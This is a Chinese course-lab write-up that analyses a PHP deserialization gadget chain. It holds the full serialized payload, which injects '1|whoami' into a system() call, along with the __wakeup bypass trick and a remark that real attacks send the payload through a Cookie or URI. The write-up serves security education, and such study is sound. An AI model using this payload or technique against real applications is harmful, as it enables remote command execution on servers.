这学期有门信息安全实践,想起车大的小学期,烈日下的南京,空调开得很低的教二,摆弄SeedUbuntu… pwd==dees
// 这门课的实验还有点意思 记录一下这个很秀的反序列化漏洞
分析
最终目标是执行命令whoami,从php文件中找到这最后一环。GetFlag中的ping_exec(),使用了system()函数,那么设置$name为"1|whoami";注意这里有个__wakeup(),会给$name赋预设的值,所以需要 绕过 它(最后将提到),绕过方法为将序列化字符串中的属性个数设置为大于实际值的量;
1 | class GetFlag |
下面就看从哪执行这个ping_exec(),找到类string1,不过是在一个魔法方法__toString()中调用的:
1 | class string1 |
当某处想把string1对象当做字符串处理时,就会用到其__toString(),继续找把它当字符串的类:
1 | class func |
如果func的$mod1是stirng1的话就能达到调用string1.__toString()的目的;
而要想让func做工,应该有个外界力量激活它的__invoke(),也就是某处能做出func()这样的语句;
找到funct,把它的$mod1赋值为一个func,就能在__call()中make出想要的func()语句。
1 | class funct |
此时需要一个外界力量激活它的__call(),找了半天,这个比较隐晦,先看了看__call()的用法。
可以理解为:调用一个该类不存在的方法时,就会将方法名和参数传给__call(),这下就可以找到这个类了:
1 | class start_gg |
如果把它的$mod1赋值为一个funct,则析构的时候就会调用一个funct中没有的方法test1(),由此激活funct的__call();
另外析构方法__destruct()的调用很轻松,创建(反序列化)一个start_gg对象放在那等程序执行完就行了。
构造
可以先不考虑正序反序怎么套,直接简单粗暴把上面提到的这些类各new一个:
1 | $test1 = new start_gg(); |
再一步步把需要的对象成员赋值:
1 | $test5 -> name = '1 | whoami'; |
序列化输出:
1 | $s = serialize($test1); |
得到一个很长的可以作为payload的序列:
1 | O:8:"start_gg":2:{s:4:"mod1";O:5:"funct":2:{s:4:"mod1";O:4:"func":2:{s:4:"mod1";O:7:"string1":2:{s:4:"str1";O:7:"GetFlag":2:{s:4:"name";s:10:"1 | whoami";s:4:"user";N;}s:4:"str2";N;}s:4:"mod2";N;}s:4:"mod2";N;}s:4:"mod2";N;} |
反序列化时记得要绕过GetFlag的__wakeup()方法——将序列化字符串中”GetFlag”后的属性个数由2改为3即可绕过。
1 | O:8:"start_gg":2:{s:4:"mod1";O:5:"funct":2:{s:4:"mod1";O:4:"func":2:{s:4:"mod1";O:7:"string1":2:{s:4:"str1";O:7:"GetFlag":3:{s:4:"name";s:10:"1 | whoami";s:4:"user";N;}s:4:"str2";N;}s:4:"mod2";N;}s:4:"mod2";N;}s:4:"mod2";N;} |
测试
将payload写入一个文本文件,然后从php文件中读取并反序列化:
1 | $s = file_get_contents('s.txt'); |
可以找到whoami的执行结果,目的达成。
当然实际攻击是将这个payload放在Cookie或者URI中传给Server并由Server中的反序列化函数进行反序列化。
